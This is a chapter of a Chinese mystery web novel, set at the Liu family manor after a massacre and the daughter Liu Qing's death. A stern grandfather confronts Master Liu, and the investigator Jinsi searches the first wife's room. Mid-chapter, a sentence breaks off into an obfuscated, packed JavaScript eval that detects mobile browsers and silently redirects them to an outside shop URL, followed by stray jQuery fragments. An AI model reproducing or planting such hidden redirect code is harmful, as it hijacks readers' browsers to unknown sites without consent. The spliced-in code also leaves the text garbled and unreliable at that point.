一团团白雾聚集向上,人们纷闹的烟火气弥漫进柳家庄四四方方每个角落,正午的烈日高悬于空,却不如大圆桌上的闲聊声火热。
“柳老爷,还请节哀啊……”一位老者摸着花白的胡须,悲声叹息。
柳老爷就坐于他身侧,眉眼间还蕴藏着一抹愁丝,闻言朝他敬了杯酒,没多说什么。
大圆桌上的气氛有一瞬的凝固,几人看了一眼坐于柳老爷身侧的二夫人,心下了然,一个接一个发言。
“柳老爷,逝者已逝,我们如今能做的,就是珍惜眼前人,柳大小姐忧心过重,先一步离开了大家,想必她九泉之下,也愿老爷笑容满面,切勿挂怀啊。”
“是啊,柳老爷不是还有一子吗,如今成了独子,可要撑起柳家的辉煌啊。”
说罢那人笑了笑,众人纷纷附和。
二夫人放下筷子,捂嘴嗔怪了一声:“眼下卿儿刚走,哪有顾着小儿子的心思。”
锦泗站在不远处听候吩咐,闻言挑了挑眉,真不愧是二夫人,可真是好手段啊……此话明面上是顾全了当家主母的慈爱,暗地里确是在提醒柳老爷,切勿忘了自己还有个成长中的儿子。
锦泗看着二夫人在饭桌上虚伪做作的模样,真是恶心得饭都吃不下去了,翻了个白眼的同时无意间瞥到身侧的言淮,他面色平静,好似不受外界所干扰吧,自顾自站着。
锦泗心想,这人还挺能装的。
将注意放回到饭桌上时,他们已经很自然地聊起了那个小少爷,柳老爷似乎也不愿沉浸在悲伤的气氛中,时不时回应他们几句。
锦泗扫了一眼前院的人,算上侍从,约莫二十几人的样子,将这些客人去掉,大致是柳家庄灭门时的人数,看来,真的有将众人聚集在前院的方法,还极其合理,锦泗斜睨了眼红珠,看她的表情,似乎对这幅场景习以为常,看来,这是柳家庄的规矩。
锦泗不想瞧见饭桌上心思各异的嘴脸,便见这空档,任由自己的思绪放飞。
案发当时尸体有十几具,跟眼下这幅情景相比,少了一些必要的道具,比如这几个客人,还有……大圆桌。
若是摆宴,主人家定会安排人手将前院收拾妥当,想要在刺杀中收拾掉所有人,必不可能放过任何一空隙,也就是说,当时的柳家庄,是一个盒子,而且是密不透风的盒子,里面那股神奇的力量让盒子外的人听不到一丝呼喊。
接案当天锦泗恍惚间回到柳家庄,随后便在不远处的巷子遭遇突袭,当时十人不到的动静都能吸引来百姓,为何柳家庄浩浩荡荡十几人都能掩盖住?
凶手,到底是用什么方法杀了他们?
锦泗越往深处想,越能扯出更大的谜团,她苦恼的同时不禁起了更大的兴趣。
她喜欢追着凶手将凶手逼迫到绝路的感觉,也喜欢当下敌在明我在暗的刺激。
不过,如果一定要让她忍着看人虚与委蛇,还是有点令人不爽的。
大圆桌上的人还在谈笑,话题紧紧围绕着那位话题度急升的小少爷。
“二夫人,少爷的学府可有寻好啊?”
“犬子尚且年幼,只能去天泽学堂长长见识,若日后才学精进,我倒希望他能考入廖联学院。”二夫人谦逊地说。
饭桌上有个别人面露不爽,但也得按下脾性,迎合着:“天泽学堂已是普通百姓上不去的初级学府了,若能一举考入廖联,二夫人可真是好生得意啊……”
这时有人暗暗嘀咕了句:“还不是靠着柳家的大门坐享其成。”
声音不大,但能传进二夫人耳朵里,她装作没听到般继续吃着菜。柳家大夫人这个位置,没点脸皮是不敢坐上去的,她为了自己,为了儿子,每一道白眼每一句讥讽都能笑着忍受。
锦泗不由得愣了愣,她还以为,二夫人是很强势泼辣的类型,没想到,在人前还是挺会做样子的,好一出慈心良母戏。
宴会接近尾声,大多数人已放下碗筷,坐着闲聊,场面和谐。
“柳老爷接下来作何打算?”一人试探开口,他可得趁着柳家此时空虚,成为天泽大户。
柳老爷心乱如麻,正要开口,一道浑厚有力的声音插了进来。
“他,不配谈以后。”
锦泗猛地看向声音发源处,直觉告诉她,来者不善。
柳老爷和二夫人都僵硬了一下,愣愣转头看去。
门外走进一年长老者,身着麻衣,拄着拐杖,两道眉扭曲在布满褶皱的脸上,随后他用手中的拐杖重重锤了下地面,发出沉闷的“咚”声,地面上的灰尘应声而起,柳家庄的一切仿佛因为这个年迈但有力的陌生人活了过来。
锦泗看向柳老爷和二夫人,二夫人此时已面色煞白,柳老爷确是神情躲闪,但相同的是,二人都卑躬屈膝。
锦泗唇角扯了一下,看来,这是位事关灭门的大人物。
那位老者气势汹汹走进来,双目圆瞪,指着二夫人的鼻子,厉声道:“你,出去。”
二夫人瑟缩了下,躲到柳老爷身后。
老者冷笑一声,“他护不住你,趁我现在还有耐心,赶紧滚。”
二夫人闻言吓了一跳,眼泪霎时流了出来,呜咽着跑向后院。
见她走后,老者正眼都没分出一点,直直地死盯着柳老爷。
大圆桌上的人见这幅景象,竟感到莫名的熟悉,好像当日刘大人带着官兵闯进府里,也是这样的画面。
他们几人纠结着,互相对视着,示意要不要先走。
老者余光都没分给这群看客,只是盯着柳老爷,最后沉声问出一句:“你答应我的,可有做到?”
柳老爷瞳孔缩小了一瞬,嗫喏开口:“是我的过错。”
老者仰天深深吸了一口气,随即吐在柳老爷脸上,“你是有错,还是天大的过错。我问你,卿儿那封遗书,你作何解释?!”
柳老爷似乎又想起什么痛苦的回忆,他不愿,但不能。
“祖父。”
这时一道稚嫩的声音打破僵硬的局面,小少爷小跑过来,软糯糯地拉着老者的衣袖撒娇,“祖父你怎么来了?怎么不先来看看晤儿?”
柳晤,小少爷的全名。
祖父拧头看了看到他大腿处的小儿,淡淡开口:“晤儿乖,先去找红珠姐姐玩。”
小少爷在场
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496544|141953||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里看了圈儿,看到角落处的红珠,屁颠屁颠地跑过来。
锦泗看着小少爷越跑越近,然后停在身后红珠的身边,拉着她陪玩。
就在这时,锦泗看到红珠脸色古怪,她凝了凝眸,回头看向祖父。
祖父似乎不喜让外人见证自己的家事,于是那群闲杂人便熟练地被赶了出去。
等人们走完后,祖父沉声道:“家丑不可外扬,你可懂这个道理?”
柳老爷羞愤地低下了头。
锦泗瞧见祖父大手一扬,粗粝的手掌朝柳老爷的脸侧狠狠劈下,仿佛有如实质般,她能听到风的声音,随后那双大手将将在柳老爷脸侧停下,看祖父那气得脖子粗耳朵红的样子,兴许是顾着府中侍从在一旁,给柳老爷留下最后的颜面。
祖父吐出一口浊气,极力压抑自己的愤怒,说话时的手紧握身侧,微微颤抖,“我把我唯一的女儿托付给你,不是让你毁了她们的。”锦泗明明先前没见过这名老者,可她就是觉得,他一瞬间苍老了,那得知孙女死去的那一刻,又是怎么的反应呢?她本能地觉得,这才是一位家属的态度,而不是一个最亲的人在大圆桌的那副模样。
祖父威严道:“我女儿呢?这个柳家的大夫人,她现在在哪。”
柳老爷默默指了指后院,态度不明,祖父见他这般更加火气上涌,正要发作,锦泗往前走了几步,行了个礼,对着祖父礼貌道:“老爷,还请您跟随我前往后院,大夫人便在那处。”
柳老爷蹙眉看向锦泗,心里正奇怪这人怎么没什么印象,便听祖父缓声道:“走吧。”
柳老爷回想起早些时日大夫人的模样,腾地一声站起来,挡在祖父身前,“岳父,阿瑶她近日染了风寒,正在静心休养,不便打扰啊。”
祖父听闻此话眉头都要竖起来了,怒斥一声,“让开。”
说罢便跟着锦泗大步流星往里走。
咚,咚,咚。
“阿瑶,开开门,是我,你老爹。”锦泗瞧祖父贴在门上柔声细语,内心有些触动。
父亲大抵如此吧,在子女受辱时拄着拐杖也要挺身而出,蹉跎了大半辈子的身腰也在为子女撑腰时挺的板正,但面对子女,还是那个和声和气的父亲。
里面传来细微的动静,然后木门缓缓打开,露出里面那人消瘦苍白的脸,嘴唇上的裂纹深深凹陷着,父女对望,分不清哪个人更难过。
祖父的目光触到女儿的脸,他的嘴唇倏地抖动起来,眼睛布满血丝,随后怒吼一声,转身冲向身后走来的柳老爷,“我杀了你!”
柳老爷连忙逃去,言淮赶上前来拉住发狂的祖父,锦泗看了一眼几人的背影,转身走向大夫人屋内。
一进门便很明显地看到对着门口的镜子,桌面上一把木梳,上面缠绕着几搓黑丝,一边的朱砂色唇脂摆放着好几盘,有几道赤色抹到了桌面上,锦泗回头看了看大夫人的手,上面还残留着一抹淡淡的赤色,像是被丝巾擦掉后的痕迹。
锦泗扫了扫屋内摆设,床上被子干净整齐,看来大夫人潜意识里还保留着名门之女的习惯。视线正转到墙壁,忽地看到一副眼熟的字画,署名,柳卿。